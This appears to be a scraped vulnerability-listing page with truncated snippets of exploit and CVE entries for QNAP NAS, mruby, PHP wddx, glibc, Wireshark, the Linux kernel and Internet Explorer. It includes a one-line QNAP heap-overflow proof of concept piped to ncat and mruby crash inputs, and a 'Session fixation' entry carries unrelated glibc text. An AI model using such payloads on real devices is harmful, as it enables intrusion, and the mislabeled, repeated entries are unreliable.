QNAP NAS Devices - Heap Overflow

================== 1 Heap overflow ================== Path: /home/httpd/cgi-bin/cgi.cgi u = valid user guest|admin 1.1 / Remote / Remote host echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=fori=0;i263;i++;do echo -en "A";done HTTP/1.0\nHost: QNAP\n\n" | ncat --ssl 192.168.5.7 443 HTTP/1.1 200 OK Date:...

shopify-scripts: SIGSEGV - kh_resize_iv - Null Deref

PoC --------------------- The following code triggers the bug attached as khresizeiv.rb: l t'',''doend s'',''do.end d t''do.end a=Array.new a.=102,0 € s a.tos a a.tos a.i Debug - mirb --------------------- gdb r khresizeiv.rb Starting program: /home/x/Desktop/research/mruby/bin/mirb khresizeiv.rb...

shopify-scripts: Segmentation fault due to invalid memory access in codegen when using break with the 127th argument a constant

Crash file is: break 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,CRASH This is 126 0's,...

Internet Bug Bounty: Invalid read when wddx decodes empty boolean element

Description ----------- I have found some vulnerable code in wddx extension. The trouble happens when trying to process 'boolean' tag. If I open tag without data, new stentry item WILL NOT be pushed into stack. When tag is closed and stack-top is greater than 1, stentry item at top of stack WILL ...

CVE-2016-6323

The makecontext function in the GNU C Library aka glibc or libc6 before 2.25 creates execution contexts incompatible with the unwinder on ARM EABI 32-bit platforms, which might allow context-dependent attackers to cause a denial of service hang, as demonstrated by applications compiled using gccg...

Session fixation

The makecontext function in the GNU C Library aka glibc or libc6 before 2.25 creates execution contexts incompatible with the unwinder on ARM EABI 32-bit platforms, which might allow context-dependent attackers to cause a denial of service hang, as demonstrated by applications compiled using gccg...

CVE-2016-6323

The makecontext function in the GNU C Library aka glibc or libc6 before 2.25 creates execution contexts incompatible with the unwinder on ARM EABI 32-bit platforms, which might allow context-dependent attackers to cause a denial of service hang, as demonstrated by applications compiled using gccg...

CVE-2016-6323

The CVE-2016-6323 issue affects GNU C Library (glibc) on ARM EABI (32-bit): makecontext creates execution contexts incompatible with the unwinder, potentially allowing a context-dependent attacker to cause a denial of service (hang) in apps (notably gccgo). The vulnerability is fixed in glibc 2.2...

UBUNTU-CVE-2016-6323

The makecontext function in the GNU C Library aka glibc or libc6 before 2.25 creates execution contexts incompatible with the unwinder on ARM EABI 32-bit platforms, which might allow context-dependent attackers to cause a denial of service hang, as demonstrated by applications compiled using gccg...

Wireshark 1.12.0 < 1.12.12 / 2.0.0 < 2.0.4 - RLC Dissector Denial of Service

Sample PCAP Build Information: TShark Wireshark 2.0.2 SVN Rev Unknown from unknown Copyright 1998-2016 Gerald Combs and contributors. License GPLv2+: GNU GPL version 2 or later This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or...

Wireshark 1.12.0 1.12.12 2.0.0 2.0.4 - RLC Dissector Denial of Service

Wireshark 1.12.0 1.12.12 2.0.0 2.0.4 - RLC Dissector Denial of Service Sample PCAP Build Information: TShark Wireshark 2.0.2 SVN Rev Unknown from unknown Copyright 1998-2016 Gerald Combs and contributors. License GPLv2+: GNU GPL version 2 or later This is free software; see the source for copying...

Linux Kernel (ARMARM64) - perf_event_open() Arbitrary Memory Read

Linux Kernel ARMARM64 - perfeventopen Arbitrary Memory Read perfeventopen offers to collect various pieces of information when an event occurs, including a user stack backtrace PERFSAMPLECALLCHAIN. To collect a user stack backtrace, the kernel grabs the userland register state if the event occure...

Linux Kernel (ARM/ARM64) - 'perf_event_open()' Arbitrary Memory Read

perfeventopen offers to collect various pieces of information when an event occurs, including a user stack backtrace PERFSAMPLECALLCHAIN. To collect a user stack backtrace, the kernel grabs the userland register state if the event occured in kernelspace: the userland register state that was...

Extensible Debugger UI For Hackers: Voltron

Voltron is an extensible debugger UI toolkit written in Python. It aims to improve the user experience of various debuggers LLDB, GDB, VDB and WinDbg by enabling the attachment of utility views that can retrieve and display data from the debugger host. By running these views in other TTYs, you ca...

Microsoft Internet Explorer - MSHTML!CSVGHelpers::SetAttributeStringAndPointer Use-After-Free (MS16-023)

k 10 ChildEBP RetAddr WARNING: Stack unwind information not available. Following frames may be wrong. 0bb14b64 6ad180b8 vrfcore!VerifierStopMessageEx+0x571 0bb14b88 67fec434 vrfcore!VerifierDisableVerifier+0x748 0bb14bdc 67fea3dc verifier67fe0000!VerifierStopMessage+0x74 0bb14c40 67fe733d...

PT-2015-6840 · Red Hat +1 · Libreport +2

Name of the Vulnerable Software and Affected Versions: libreport versions 2.0.7 through 2.6.3 Description: The issue allows remote attackers to obtain sensitive information via unspecified vectors related to the backtrace, cmdline, environ, open fds, maps, smaps, hostname, remote, ks.cfg, or...

CVE-2015-6526

The perfcallchainuser64 function in arch/powerpc/perf/callchain.c in the Linux kernel before 4.0.2 on ppc64 platforms allows local users to cause a denial of service infinite loop via a deep 64-bit userspace backtrace...

DEBIAN-CVE-2015-6526

The perfcallchainuser64 function in arch/powerpc/perf/callchain.c in the Linux kernel before 4.0.2 on ppc64 platforms allows local users to cause a denial of service infinite loop via a deep 64-bit userspace backtrace...

CVE-2015-6526

The perfcallchainuser64 function in arch/powerpc/perf/callchain.c in the Linux kernel before 4.0.2 on ppc64 platforms allows local users to cause a denial of service infinite loop via a deep 64-bit userspace backtrace...

UBUNTU-CVE-2015-6526

The perfcallchainuser64 function in arch/powerpc/perf/callchain.c in the Linux kernel before 4.0.2 on ppc64 platforms allows local users to cause a denial of service infinite loop via a deep 64-bit userspace backtrace...